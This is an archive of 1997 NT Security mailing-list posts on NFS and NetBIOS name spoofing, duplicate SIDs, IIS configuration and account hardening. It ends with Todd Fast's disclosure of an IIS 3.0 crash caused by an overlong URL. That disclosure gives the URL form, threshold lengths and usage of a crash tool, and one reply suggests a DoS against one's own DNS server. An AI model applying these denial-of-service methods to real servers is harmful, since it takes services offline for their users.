and get in that way if you are using hostnames in your NFS exports list.
Still, a bad configuration is going to have the potential to compromise any 
security you might put in place. 

-
Mike Miller
mke@llnl.gov 
Speaking for myself.

I want to know it there is anybody with experience with this issue:

What happens if we get NTS and NTW machines with the same SID online within
the same network ?!?
This is the point:

I have a NTW or NTS machine and I backup it. Then I restore this full
backup to another machine and make it online in the same network. The SIDs
will be the same... what happens next ?!?

Thanks in advance,

Romulo Moacyr Cholewa - ICQ UIN: 832755
mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa

"Strong cryptography makes the world a safer place."
A msg secreta no desafio do RSA DES. DES morto em 17/06/97 

>> The equivalent UNIX mechanisms depend on IP addresses or DNS names,
>> which are also easy to spoof by a dedicated attacker.

Actually, the dedicated attacker doesn't have to be that dedicated.

Consider sharing of resources via NFS. If you restrict access by 
either hostname or netgroup, this eventually translates back to
IP-address based authentication so a machine either needs a 
statically assigned IP address or an IP address allocated from a
pool of trusted addresses.

The lab I mentioned in earlier messages in this thread has used
NFS for years and each machine has a statically assigned IP address.
All that a student has to do to get overnight access to my NFS file
server is

1) work on a lab machine until the lab closes at 0100 and take note
of its IP address.

2) at closing time, turn of the machine and leave the lab

3) walk home to her or his dorm room and boot the dorm pc with the
IP address of the now-off lab machine

Trivial, huh?? AFAIK, the big differences here between the NFS
scenario and the SMB scenario are two;

1) most machines in the dorms don't come bundled with an NFS client

2) the host IP of the SMB client doesn't seem to matter so the NFS sort
of subterfuge is not necessary

The reason I'm trying to use SMB for software instead of NFS is so
that I don't need to rely on both an NTDC authenication service *and*
an NFS authentication service (typically NIS but potentially just
passwd) for basic functionality and so that nothing bad happens when
NTDC and NIS passwords get out of sync.
Hi,

If I'm not wrong, the "DefaultLogonDomain" should be in the form
"machinename" rather than "\\machinename". You will have to stop all IIS
related services (w3svc, msftpsvc, gopher) and restart them. Or simply
reboot your server.

But one strange thing is, IIS will always authenticate with local user
database by default. Why do you need to use machinename\username to
logon???

Thanks, tata.

> The local account database is established and the 
> authentication works, but when you attempt to login
> to the secure area you are forced to use a username
> of the form servername\username in order to access
> the area. My marketing people want me to fix it 
> so that users don't have type the machine name.
> 
> I searched the Microsoft Knowledge Base and found
> Q168908 which told me how to go to
> HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\W3SVC\Paramaters
> and set a value DefaultLogonDomain to \\computername.
> So I did this. But it doesn't work. Users still have 
> to add the servername part of the username to get in.
> 
> Could any of my problems be related to SP3 and all
> of the new security fixes?
> 
> Thanks in advance. Any assistance is appreciated.
> 
> -----------------------------------------------------
> 
> Mike Gresham msgresha@veribest.com
> VeriBest, Inc.
> 6101 Lookout Rd.
> Boulder CO 80301
> 
> C programmer code. C program crash. C programmer oo crazy.
Hackers jam Microsoft's site 
By Janet Kornblum
June 20, 1997, 2 p.m. PT 

update Hackers exploited a bug in Microsoft's (MSFT) server software,
jamming the company's Web site since yesterday. 

The hackers are apparently exploiting a bug in Windows NT 4.0 running
Microsoft's Internet Information Server version 3.0, in which the
entire site is jammed by someone typing in a specific URL into a Web
browser, according to Mike Nash, director of marketing for Windows NT
server. 

Hackers sent Microsoft an email at about 4 p.m. yesterday, Nash said.
Microsoft engineers immediately developed a patch and are posting it
on their own site today. The patch will be ready by 5 p.m., he added.

--

For more info:

http://www.news.com/News/Item/0,4,11759,00.html

The fix is in ... 

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-po
stsp3/iis-fix/


Can't be done as the user ID on the system is unique with a time stamp !


Mark Sean Curphey
Insight Consulting
Churchfield House
5 The Quintet
Churchfield Road
Walton-on-Thames
Surrey
KT12 2TZ
Tel : 01932 241000
Fax : 01932 244590
Mobile: 0410 034066
E-Mail:markc@insight.co.uk or m.curphey@rhbnc.ac.uk
Web :www.insight.co.uk (Under Construction)
Web :www.curphey.com (Under Construction)
On Sat, 21 Jun 1997, Romulo Moacyr Cholewa wrote:

> I want to know it there is anybody with experience with this issue:
> 
> What happens if we get NTS and NTW machines with the same SID online within
> the same network ?!?
> This is the point:
> 
> I have a NTW or NTS machine and I backup it. Then I restore this full
> backup to another machine and make it online in the same network. The SIDs
> will be the same... what happens next ?!?
> 
> Thanks in advance,
> 
> Romulo Moacyr Cholewa - ICQ UIN: 832755
> mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa
> 
> "Strong cryptography makes the world a safer place."
> A msg secreta no desafio do RSA DES. DES morto em 17/06/97 
> 

On Fri, 20 Jun 1997, Paul Leach wrote:

> The equivalent UNIX mechanisms depend on IP addresses or DNS names,
> which are also easy to spoof by a dedicated attacker.

There is a less than subtle difference between having to spoof a 
gethostbyaddr() reverse lookup in order to get around domain name based 
security, and putting in whatever type 0 name I want in the Session 
Request block because MS decied that doing a reverse lookup on the IP 
address of the packet containing that request to make sure that really is 
the client is unneccesarry. As hobbit pointed out in his paper, it's 
like telling old NFS servers that "No I'm really this client in your 
/etc/exports file even tho my IP address says I'm evil.hacker.org" and 
getting access to the requested resources. Obviously this is not the 
case anymore with any modern NFS server, and many now even supported 
crypto based authentication. CIFS still operated under this model, or at 
least did earlier this year.

So no Paul, it is not 'easy' to spoof DNS or IP information, in the same 
way it is 'easy' to stuff whatever mangled client name in the Session 
Request block you want. Besides, noone was attempting to make this a 
'well my OS is more secure than your OS' but simpling pointing out some 
issues with the current CIFS implementation and standards that lead one 
to possibly question the security of some of it's features. The fact 
that you responded with a "well unix is easy too" and no other useful 
information, besides that fact that your comparison was way off the 
mark, gives me pause. (ears and a tail).


Craig Brozefsky craig@onshore.com
onShore Inc. http://www.onshore.com/~craig
Development Team p_priority=PFUN+(p_work/4)+(2*p_cash)

Interesting...

Microsoft has been hit with what appears to be a Denial of Service or SYN flooding attack.
the http servers are too busy to respond.

Keep your eyes open in the next couple of days to see if we can find out exactly what 
happened. 

Have Fun!

Brian James Mulford 
mailto:bmulford@deilink.com - news:alt.brian

Data Enhancement International, Inc.
2361 Campus Drive Suite 215
Irvine California 92612

Phone (714) 833-3672 Fax (714) 833-8572
http://www.deilink.com ftp://ftp.deilink.com

Image is everything. People's perceptions of reality overshadow true reality. 
It's all in the building of perception. It's the creation of an image. 
Substance is no longer of any importance.
Apparently, according to this news article, someone found a 
new bug in IIS and decided to exploit it on Microsoft's 
web site

http://www.news.com/News/Item/0,4,11759,00.html?latest

-- 
------------------------------------------------------------
Chris Plunkett System Technician
Breakwater Technologies Inc.
phone:(425)803-5002x112 Fax:(425)803-5001
http://www.breakwater.net mailto:chris@breakwater.net
Does anyone know of a utility that will print out the local groups for a
machines. 
I have only found utilites for global groups.

 Thanks. 




IIS Isapi filter

http://daf.simplenet.com/

> -----Original Message-----
> From: Paul Ward [SMTP:pward@nextrend.com]
> Sent: Friday, June 20, 1997 8:51 AM
> To: ntsecurity@iss.net; nt-list@ntsoftdist.com; 'Michael Gresham'
> Subject: RE: [NTSEC] IIS and 4.0 SP3
> 
> You could create an ISAPI filter to handle your password checking.
> This
> has the added benefit that you don't have to pay Micro$oft a royalty
> (user licence) for each account that you want to have access to the
> web
> pages in question. You can use the money saved to pay a programmer to
> write the filter. There's a very good reference to this subject in
> the
> book...
> 
> Visual C++ ISAPI Programming
> by Michael Tracy
> WROX Press
> ISBN 1-874416-66-4
> 
> Paul W. Ward
> Software Engineer
> NexTrend, Inc.
> pward@nextrend.com
> 
> > ----------
> > From: Michael Gresham[SMTP:msgresha@edaco.ingr.com]
> > Sent: Thursday, June 19, 1997 3:26 PM
> > To: ntsecurity@iss.net; nt-list@ntsoftdist.com
> > Subject: [NTSEC] IIS and 4.0 SP3
> > 
> > I have been attempting to build an IIS 3.0 server that
> > will eventually be placed directly on the Internet, 
> > with secure areas that will require an account and
> > password to use.
> > 
> > The local account database is established and the 
> > authentication works, but when you attempt to login
> > to the secure area you are forced to use a username
> > of the form servername\username in order to access
> > the area. My marketing people want me to fix it 
> > so that users don't have type the machine name.
> > 
> > I searched the Microsoft Knowledge Base and found
> > Q168908 which told me how to go to
> > HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\W3SVC\Paramaters
> > and set a value DefaultLogonDomain to \\computername.
> > So I did this. But it doesn't work. Users still have 
> > to add the servername part of the username to get in.
> > 
> > Could any of my problems be related to SP3 and all
> > of the new security fixes?
> > 
> > Thanks in advance. Any assistance is appreciated.
> > 
> > -----------------------------------------------------
> > 
> > Mike Gresham msgresha@veribest.com
> > VeriBest, Inc.
> > 6101 Lookout Rd.
> > Boulder CO 80301
> > 
> > C programmer code. C program crash. C programmer oo crazy.
> > 
Also, if you have the policy set to lock accounts after x number of bad
logon attempts, you can still log in using the Administrator account even
when it is locked in User Manager!

Allan


At 03:08 PM 6/20/97 -0400, Rick Bertoncin wrote:
>Uh- I do not believe you can disable the administrator account, *or*
delete it. Just rename it or copy it, you *can* disable the copied
administrator account. 
>-
>Rick Bertoncin
>Server Development Group
>Ford System Integration Center
>rbertonc@ford.com
>
>
>-----Original Message-----
>From: Bivens, David R. [SMTP:DRBivens@AGST.com]
>Sent: Friday, June 20, 1997 10:51 AM
>To: 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] Changing the Administrator Account
>
>How about just copying the Administrator ID (to create a new one under a
>new name) and leaving the "Administrator" in the system, but DISABLED?
>That's what we do and it seems to work well.
>
>I'm VERY nervous about deleting any of the BUILTIN accounts...
>
>What do y'all think? If you have a process such as described below,
>would we get hit as Morbert did?
>
>David R. Bivens
>Ash Grove Systems & Technologies
>Atlanta, Georgia, USA
>drbivens@agst.com
>
>
>On Friday, June 20, 1997 09:13, Morbert Florbin
>[SMTP:morbert@nospam.visi.com] wrote:
>> The idea of changing the Administrator account name for security
>> purposes is indeed a good one.
>> 
>> However, when you attempt to do a recovery (emergency repair) or any
>> operation the uses "Administrative-Authority" as part of the process
>> you are in trouble. This "Administrative-Authority" uses the
>permissions
>> assigned to Administrator. (apparently not the sid) If you have
>changed
>> the name - it can't be found. You will not be able to logon - see the
>> file system or anything. The permissions are in some strange state.
>> 
>> I had this happen to me. The only way to recover was to do a complete
>> system install " into a different directory ex:\winntrec " then
>booting
>> from this, logging in as Administrator, take ownership of the old
>> directory and recover from there.
>> 
>> Do not let this stop you from using this security measure - it is
>good,
>> simple and effective. 
>> 
>> Just remember to change the name back to Administrator before making
>any
>> changes that are going to use the "Administrative-Authority" 
>> 
>> Just a lesson learned - now passed on.
>
>
>
-------------------------------------------------------------------
All new computing problems must be reported to the Help Desk.
-------------------------------------------------------------------
Allan Bourdius Help Desk: (412) 772-8700
System Administrator (NT Servers) Direct: (412) 772-5807
Information Systems & Services Main: (412) 772-6600
FORE Systems, Inc. Fax: (412) 772-6500
174 Thorn Hill Road Email: abourdiu@fore.com
Warrendale, PA 15086 URL: http://www.fore.com
"At the FOREfront of ATM internetworking - The ATM Experts."
Personal URL: http://www.geocities.com/CapitolHill/8260/

Hi

Over the last few days I have written a small Windows NT program (RUNAS.
EXE) that lets you execute any command line as a different user, even if
you are logged on as Administrator. I use it to run my browser as a user
with minimal access while the rest of my desktop acts as Administrator.
Have I reinvented the wheel? Is a program like this available elsewhere?

Phil Boutros
Senior Technology Architect
Inso Corporation
pboutros@inso.com



Hello,

I would be grateful if anyone could give me some comments on how (un)secure the following set up is. Are there any know ways to break in, or any glaring holes?

I have an NT 4.0, SP 3, box that is on the Internet via a RAS connection over ISDN, IP address is permanently assigned and the line is up continuously. The server is not part of any NT domain and is not PDC or BDC, in fact the Server service is disabled, and the only things running are Event log, MS DNS server, NT LM Security Support Provider, Plug and Play, Remote Access Autodial Manager, Remote Access Connection Manager, Remote Procedure Call Service, Spooler, Telephony Service, Workstation and last but not least Lotus Domino Server. RAS is configured to only dial out over ISDN and there are no other modems on the machine. There is also a NIC that connects to our NetBIOS LAN and all TCP/IP stuff in "unbound" from this NIC, and IP forwarding is disabled. Likewise all NetBIOS stuff is also "unbound" from the RAS TCP/IP interface.

Is this a reasonable good set up? Is there anything else that I should do to improve the security or should I put in a conventional firewall?

TIA,
Pär Eriksson


On Fri, 20 Jun 1997, Erich Siedler wrote:

> 
> http://www.news.com./News/Item/0,4,11759,00.html
> 
> Hot news from CNet:
> 
> "Hackers exploited a bug in Microsoft's (MSFT) server software, jamming the
> company's Web site since yesterday. 
> 
> The hackers are apparently taking advantage of a bug in Windows NT 4.0
> running Microsoft's Internet Information Server 3.0, in which the entire
> site is jammed by someone typing in a specific URL into a Web browser,
> according to Mike Nash, director of marketing for Windows NT server. "
> 
> [...]
> 
> "Someone identified as Todd Fast says on his site that he inadvertently
> discovered the bug "while examining the parameters of an URL Microsoft's
> Internet Information Server (IIS) would accept without an error." "
> 
> His site: http://www.eden.com/~tfast/jihad.html
> 

It seems odd to me that MS would take a whole day to fix the bug on their
web servers; I think there is something else there. Included below is a
message detailing the misconfiguration I saw that caused problems
accessing www.microsoft.com this afternoon. 

Date: Fri, 20 Jun 1997 22:40:19 -0600 (MDT)
From: Marc Slemko 
To: inet-access@earth.com
Subject: Re: Need some advice AGAINST going NT
In-Reply-To: <3.0.1.32.19970620212044.00981a00@mail.talon.net>
Message-ID: 

On Fri, 20 Jun 1997, Scott St. John wrote:

> For those of you concerned about Windows NT, check the link:
> 
> http://www.news.com/News/Item/0,4,11759,00.html
> 
> Microsoft's web site has been down for 24 hours thanks to a 
> bug in IIS 3.0. At first they said the site was busy, now
> they admit hackers brought them down by typing in a certain
> web address.
> 
> I am not taking sides here, just bringing the article to the
> table.

I think there are some facts missing there. While I can't comment on (but
don't disbelieve) the bug in IIS bit, that doesn't seem to be the whole
story.

Look at the included output from dig. 

Hint: the 7200s mean a 7200 second TTL before the records timeout. When
they time out, guess what will be left? You got it, one A record for one
of their servers. Guess what IP nearly everyone will be using for
www.microsoft.com. Guess what happens when everyone tries to use one
server.

I mailed their NOC about it earlier this evening after I noticed and got a
response back a short time later saying they would check into it. A
little after that, their primary server was magically fixed. Note that
they don't appear to have updated the serial number, and the change
doesn't appear to have propgated to their secondaries yet. Also remember
that even after they do make the change properly and fully, it will take
up to 1 day for the cached record to expire. 


; <<>> DiG 2.2 <<>> www.microsoft.com @dns1.microsoft.com 
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10
;; flags: qr aa rd ra; Ques: 1, Ans: 13, Auth: 0, Addit: 0
;; QUESTIONS:
;; www.microsoft.com, type = A, class = IN

;; ANSWERS:
www.microsoft.com. 7200 A 207.68.156.51
www.microsoft.com. 7200 A 207.68.156.52
www.microsoft.com. 7200 A 207.68.137.62
www.microsoft.com. 7200 A 207.68.156.53
www.microsoft.com. 7200 A 207.68.137.65
www.microsoft.com. 7200 A 207.68.156.54
www.microsoft.com. 7200 A 207.68.156.61
www.microsoft.com. 7200 A 207.68.156.16
www.microsoft.com. 86400 A 207.68.137.59
www.microsoft.com. 7200 A 207.68.156.58
www.microsoft.com. 7200 A 207.68.137.53
www.microsoft.com. 7200 A 207.68.156.49
www.microsoft.com. 7200 A 207.68.137.56

;; Total query time: 46 msec
;; FROM: valis.worldgate.com to SERVER: dns1.microsoft.com 131.107.1.7
;; WHEN: Fri Jun 20 16:31:05 1997
;; MSG SIZE sent: 35 rcvd: 243



SAMBA is configurable to use NTLM (crypto-based challenge/response, akin
to Kerberos). That's much more secure, and doesn't require that you
enable plaintext passwords.

BTW: We tested "EnablePlainTextPassword" here against our SAMBA servers.
And many people who didn't know about "EnablePlainTextPassword" did not
report any failures once they enabled it.

> ----------
> From: Neil A. Kirr[SMTP:nkirr@UU.NET]
> Reply To: Neil A. Kirr
> Sent: Thursday, June 19, 1997 11:04 AM
> To: NT Security (E-mail)
> Subject: [NTSEC] SAMBA + SP3
> 
> Ok,
> 
> I've installed SP3 AND I've modified the registry with the magic
> "EnablePlainTextPassword" value (DWORD = 1).
> 
> However, I STILL CAN'T MAKE A SAMBA CONNECTION! Everything is working
> fine under SP2. Does anyone have any ideas what the problem might be?
> Do we need to change the server side (SAMBA) also?? Essentially, I
> attempt to make the connection and it just returns "bad password or
> username" and then prompts me again for the password.
> 
> Has anyone resolved this?! Thanks for the help!
> 
> - Neil
> 
> 
> 
The equivalent UNIX mechanisms depend on IP addresses or DNS names,
which are also easy to spoof by a dedicated attacker.

> ----------
> From: Dominique
> Brezinski[SMTP:dominique.brezinski@CyberSafe.COM]
> Reply To: Dominique Brezinski
> Sent: Thursday, June 19, 1997 1:50 PM
> To: ntsecurity@iss.net
> Subject: RE: [NTSEC] controlling access to shared resources with
> MSWNT4.0+
> 
> At 08:28 AM 6/19/97 -0700, Sean Mathias wrote: 
> >Well, in this context the answer is yes and no. How's that for
> ambiguous? 
> > 
> >In User Manager for Domains, select an arbitrary user accounts
> properties. Click the Logon To button. This brings up a dialog which
> allows you to specify whether a use can log on to any system, or only
> the specified systems (up to eight). This is quite cumbersome for a
> large number of users and does not really address the issues you have.
> 
> 
> It is interesting to note that this workstation restriction is based
> off of the NetBIOS computer name, which is trivial to spoof. *Hobbit*
> pointed this out quite nicely in his paper "CIFS: Common Insecurities
> Fail Scrutiny" published to the net in January 97. So, this
> restrictive mechanism will offer you very little in the way of
> security towards a dedicated attacker. 
> 
> Dominique Brezinski 
> ---------------------------------------------------- 
> My opinions expressed here, and in any public forum, 
> are my own and do not represent those of my employer 
> or its clients. I am an individual, and I will 
> retain those rights of free speech granted to me, 
> regardless of my employment status. 
> 
First, answer this question. How valuable is the stuff that you are worried 
about protecting and how important is any data stored in this specific 
machine? If the answer to both questions is "absolutely worthless" then 
you're probably OK. If your business would collapse if any data on any of 
your machines became publicly known or was permanantly destroyed then you 
should invest in a serious firewall system to give you some breathing room. 
You'll never be 100% safe but you'll be more difficult to get into. If you 
can't get management to cough up the dough, then get a laptop and a dial up 
access account and perform some type of DoS attack to show them that it is 
vulnerable. I'd go after the DNS server.

Second, have you ever scanned your machine from an outside location to 
determine what services are actually exposed? You may have something running 
that you don't know about or missed. You can't be sure unless you've actually 
checked. Don't stop at port 1023 or so. I've just read an article where a 
fellow wrote a little application to give himself continued access to a 
machine if he were terminated and ran it up in the 4000s. Many folks don't 
check. That's why he put it up there.

At the very least, I would get a screening router set up in front of it and 
block everything you don't need. ISDN routers with filtering capabilities are 
cheap. Specifically, block 135 and 139 and disable source routing if you use 
more than one IP address. It appears that you're vulnerable to at least one 
known DoS attack and assuredly a few that we haven't heard of yet.

You didn't say it, so make sure you apply at least the post-SP3 DNS hotfix if 
you haven't. My $0.02

----------
From: owner-ntsecurity@iss.net on behalf of =?iso-8859-1?Q?P=E4r_Eriksson?=
Sent: Saturday, June 21, 1997 2:33 AM
To: 'ntsecurity@iss.net'
Subject: [NTSEC] How secure is this set up?


Hello,

I would be grateful if anyone could give me some comments on how =
(un)secure the following set up is. Are there any know ways to break in, =
or any glaring holes?

I have an NT 4.0, SP 3, box that is on the Internet via a RAS connection =
over ISDN, IP address is permanently assigned and the line is up =
continuously. The server is not part of any NT domain and is not PDC or =
BDC, in fact the Server service is disabled, and the only things running =
are Event log, MS DNS server, NT LM Security Support Provider, Plug and =
Play, Remote Access Autodial Manager, Remote Access Connection Manager, =
Remote Procedure Call Service, Spooler, Telephony Service, Workstation =
and last but not least Lotus Domino Server. RAS is configured to only =
dial out over ISDN and there are no other modems on the machine. There =
is also a NIC that connects to our NetBIOS LAN and all TCP/IP stuff in =
"unbound" from this NIC, and IP forwarding is disabled. Likewise all =
NetBIOS stuff is also "unbound" from the RAS TCP/IP interface.

Is this a reasonable good set up? Is there anything else that I should =
do to improve the security or should I put in a conventional firewall?

TIA,
P=E4r Eriksson



Can't be done ?!?

I guess you did not understand me. Once I first installed a NTW or NTS
machine, of course, the SID WILL be unique, due to the timestamp and other
factors. But if I restore a full backup, the SID is THE SAME from the
machine backed up! If it won't work this way, then backups from NTW
machines that joined a domain, PDCs or BDCs won't work.

So, that's plot this thing out:

I have 3 machines, 1 PDC (named EINSTEIN), one BDC (named VIVALDI) and one
NTW (named PIONEER), all them bind together on a DOMAIN called ADVLAB01.

Then, EINSTEIN explodes! (good reason to restore a backup uhh ?!? ;-)))

I install a NTS machine, restore my backup from a DAT tape (the newest
backup from EINSTEIN), and it will be my PDC the same way as when I backed
it up, because if I backed up it ok, it has the same SID from EINSTEIN...
and it will have no problems being the PDC of domain ADVLAB01.

This is the situation 1.

Let's go to situation 2:
Well, this time, EINSTEIN is ok, but my BDC, VIVALDI, self destructed!
(once again, another good reason to restore a backup... ;-)))

Then, I restore my newest backup from VIVALDI, since I have a DAT tape of
it.
I install a machine as BDC of EINSTEIN (ADVLAB01 domain), named VIVALDI.
This time, one thing is different: before I restore the tape, VIVALDI
recently installed already has the correct domain SID, once I installed it
as BDC from EINSTEIN. But when I restored the backup, the domain SID will
be overwritten with backup's. But, of course, they are the same, no harm
done.

Situation 3:

PIONEER, a NTW machine that once joined the domain, is lost. I restored the
backup and it will not need to join the domain another time, because the
backup has the same SID it registered when it joined the domain.

Now, to scramble things up, let's start the experiences! ;-))

In any of the above situations, EINSTEIN is working fine, VIVALDI is
working fine, so do PIONEER.
But I install machine 4, a NTS installation as BDC from EINSTEIN (let's
call this machine NEWTON). Then, I restore a backup from VIVALDI in this
machine, and I'll have two identical machines, the first and original
VIVALDI, and this second one. When this machine becomes online, it will
have the same name (VIVALDI), the same machine SID and the same domain SID.
So, what will happen next, with all 4 machines online, since the backup
overwritten NEWTON information ?!?

First, this copy of VIVALDI will prompt me that another machine within the
network is using the same name (VIVALDI). What will happen with the SID ?!?
If I change its name to VIVALDI02, the SID will remain the same... So ?!?

Best Regards,


Romulo Moacyr Cholewa - MCSE. ICQ UIN: 832755
mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa

"Strong cryptography makes the world a safer place."
A msg secreta no desafio do RSA DES. DES morto em 17/06/97
 ----
From: Mark Curphey 
To: Romulo Moacyr Cholewa 
Cc: ntsecurity 
Date: Sábado, 21 de Junho de 1997 11:54
Subject: Re: [NTSEC] Same SID

|Can't be done as the user ID on the system is unique with a time stamp !
|
|
|Mark Sean Curphey
|Insight Consulting
|Churchfield House
|5 The Quintet
|Churchfield Road
|Walton-on-Thames
|Surrey
|KT12 2TZ
|Tel : 01932 241000
|Fax : 01932 244590
|Mobile: 0410 034066
|E-Mail:markc@insight.co.uk or m.curphey@rhbnc.ac.uk
|Web :www.insight.co.uk (Under Construction)
|Web :www.curphey.com (Under Construction)
|On Sat, 21 Jun 1997, Romulo Moacyr Cholewa wrote:
|
|> I want to know it there is anybody with experience with this issue:
|>
|> What happens if we get NTS and NTW machines with the same SID online
within
|> the same network ?!?
|> This is the point:
|>
|> I have a NTW or NTS machine and I backup it. Then I restore this full
|> backup to another machine and make it online in the same network. The
SIDs
|> will be the same... what happens next ?!?
|>
|> Thanks in advance,
|>
|> Romulo Moacyr Cholewa - ICQ UIN: 832755
|> mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa
|>
|> "Strong cryptography makes the world a safer place."
|> A msg secreta no desafio do RSA DES. DES morto em 17/06/97
|>
|
| 

I recently installed SP3 and all the hot fixes and now I seem to have two
new problems, so I am looking for help here because this is a knowledgeable
group. 

So now that I installed SP3, I can't seem to install a modem. I did not
have any modems on my box, but I wanted to use RAS so I clicked on modems
in the control panel and all I get is a split second hourglass and then
nothing. I rebooted (warm boot, cold boot) and still nothing. I tried
installing the modem from the RAS installation's install modem button and
again nothing happened. 

Aside from reinstalling the server from scratch and all the service packs,
any ideas? I did look through the Microsoft KB before writing this message
and found nothing that was of any use.

The other odd thing in Control Panel is the Devices icon. I don't remember
if I ever used it but now when I click on it, I get a message box that says

 Configuration Manager: This routine is not 
 implemented in this version of the operating system.

This doesn't seem right. I can't track down anything in the KB either. 
 
Thanks for the help. It will be gratefully appreciated.

Karen Strauss

--- On Wed, 18 Jun 1997 10:00:52 +0700 Vedi Hartono wrote:
> 
> Hi, are there somebody know a tcp listener quite similar to snoop on sun,
> or tcpdump on dec which running on NT, and this can also work closely like
> sniffer 
> 
> any comments appreciated
> 
> 
> vedi

yes, it is called SessionWall-3 and you can download a 30 days test drive from 
http://www.abirnet.com
hope this helps
Ziv

-----Original Message-----
From: Aleph One [SMTP:aleph1@DFW.NET]
Sent: Saturday, June 21, 1997 1:03 PM
To: BUGTRAQ@NETSPACE.ORG
Subject: http://www.eden.com/~tfast/jihad.html

 CyberJihad

 The Microsoft IIS Bug

 My chronicle of finding a most embarrassing bug

 by Todd Fast

 ________________________________________________________



 The Story

 My name is Todd Fast, and I found a bug today. I found it while trying
 to determine the maximum length of a URL Microsoft's Internet
 Information Server (IIS) would accept without an error. This website
 is dedicated to this bug and my chronicle of it.

 In case you haven't heard the details, there's a bug in Microsoft's
 Internet Information Server on Windows NT (and possibly other
 platforms) that allows a remote user--any user--to shut down the web
 server, and consequently the web site, using nothing more than a web
 browser.

 This is a hugely embarrassing bug for Microsoft in my opinion,
 particularly since they've just been lauded for pulling ahead of
 Netscape in Web server market. Knowing that anyone with a grudge and a
 twitchy keyboard could shut down any of their customer's web sites
 must bear horribly on their collective conscience. (Ask yourself, was
 that sarcasm?)





 The Bug

 I know you can't wait to know more, so here are the nitty-gritty
 details on the actual bug, from the original message I sent to
 InfoWorld:

 I've found a severe bug that allows any remote user on the Internet to
 halt web services on an Microsoft NT 4.0 server running Microsoft's
 Internet Information Server version 3. This bug appears to unaffected
 by the installation of Service Pack 3.

 Let me explain the details of the bug and how I came across it. The
 bug surfaces when a remote user requests a Web URL from the IIS server
 that contains a certain number of characters (I'll call this number
 the "bug threshold") and is of the following form:

 http:///?something=XXXXXXXX...

 To cause the fatal error, this URL should contain a CGI name/value
 pair of a certain length. Note that the user does not have to request
 any specific document: the error occurs because of the length of the
 URL alone. Apparently, this bug only appears when using Netscape
 Navigator to contact the server because Internet Explorer won't allow
 such a long URL to be sent.

 The length of the URL required to cause a crash is specific to each
 server, but seems to hover around 8K. Finding the correct length to
 kill an IIS server requires trial and error. I've found that URLs
 above the bug threshold return a "404 Object Not Found" or similar
 error. Below the threshold, the requested page loads properly.
 However, sending a URL who's length is exactly the bug threshold
 causes the server to stop responding.

 When a user sends this URL to an IIS web server, it causes an access
 violation in the INETINFO.EXE process. We don't know what this small
 8k process's role is in the server's operation, but when it fails, it
 causes the WWW service under IIS to stop. The site administrator must
 then clear the error and restart the service to continue operation.
 The bug does not always appear upon the first document request, but
 repeated application will eventually cause INETINFO.EXE to fail.

 A colleague, Bill Chaison, has studied the Dr. Watson log file and
 offers more information on the location of the error in the
 INETINFO.EXE process:

 "This particular GPF occurred at 0x77A07614 on our server. The
 offending application is INETINFO.EXE, one of IIS 3.0's components.
 The stamp properties of our EXE are DATE=08/09/96, TIME=01:30a,
 SIZE=7440 bytes. Referencing the dump, thread ID 0xF9 performed a
 string compare function which caused a read fault during an iteration
 of the CMPSB (compare string byte by byte) opcode. This opcode works
 off of ESI and EDI as its base pointers and ECX as its loop repeater.
 I suspect that either ECX was either miscalculated to begin with, or
 ESI or EDI went out of range and caused a protection exception. The
 Watson error dialog reflected 0x77A07614 as the CS:EIP of the fault
 when the message box popped up. The log file below confirms the
 address of the error. Search the file for "FAULT ->" to jump to its
 description."

 See the attached file IISCRASH.TXT file for the stack dump.

 I discovered the bug while trying to determine the maximum length of
 the URL IIS would accept. While doing so, I found that our in-house
 server stopped responding. Not realizing that this was a bug that
 affected all copies of IIS, I continued my investigation using
 Microsoft's site, www.microsoft.com, and inadvertently shut down their
 web server as well. At this point I realized that the error was indeed
 a bug that affected IIS itself.

 To my knowledge, this bug has never been exploited or been used to
 crash or deny service from any web site. However, just because I spoke
 up about it doesn't mean that someone else hasn't already found or
 been using it. All you webmasters out there using IIS, have you had
 any strange crashes lately?





 Are you a CyberTerrorist?

 If so, please don't start your own CyberJihad by downloading the
 following program and easily reproducing this bug on any number of IIS
 servers all over the Internet. The Internet Worm was bad enough, and
 that is not my intent.

 I'm making this program available so that those of you running IIS can
 more easily assess your web server's vulnerability and whether this
 bug would do anything more than deny your customers service (as if
 that's not bad enough).

 Remember this program doesn't do anything special or sneaky, it just
 makes the job of finding the already-existing bug on a particular
 server somewhat easier. It does nothing that someone couldn't do in
 about 5 minutes with a browser anyway, so please, no hate mail from
 webmasters for making it available. Instead, blame Microsoft's bug.

 Here are the details:

 I created a small Java program, called IIServerSlayer, that repeatedly
 hits a web server with a varying length URL until the web server stops
 responding due to the IIS bug. To run the program, first ensure that
 you have Java 1.0.2 installed on your machine and running properly.
 Put the IIServerSlayer.class file in a directory and open a command
 window located at that directory. Use the following command line:

 java -classpath .;%classpath% IIServerSlayer 
 

 We use a starting URL length of between 8200 and 8300 to crash our
 server, but one of our servers crashed in a much lower range of around
 4000 bytes. Trial and error is the only way to determine the threshold
 and I suggest starting at a length of 8300. Also, don't use http:// in
 front of the server name; the program does that for you.

 One of the things to note about the program is that it can't really
 detect if the web request is being served properly. Because the bug
 doesn't always surface on the first document request with the
 problematic URL, the program only decrements the length counter if an
 error occurs, but assumes that server is about to crash if an error
 doesn't occur and the counter has remained the same. This means that
 if you start the program and don't see a series of lines like the
 following:

 Trying length xxxx...Done
 Trying length xxxx...Done
 Trying length xxxx...Done
 ...

 and instead see this:

 Almost dead! Retrying length xxxx...Done
 Almost dead! Retrying length xxxx...Done
 Almost dead! Retrying length xxxx...Done

 you have started with too low a URL length and need to Ctrl-C the
 program and restart it with a higher length. When the program pauses
 for more than a few seconds on a particular statement, you can be sure
 that the web server has died. When you go to the web server and clear
 the error, IIServerSlayer detects that the error occurred and gives
 you a message stating so.

 Download a copy of IIServerSlayer for personal, non-malicious use





 Chronicle

 Because the Internet's relevance to our existence is access to timely
 information, I'm posting the chronicle of my experience with this bug
 below in as close to real time as I can. I don't know whether it will
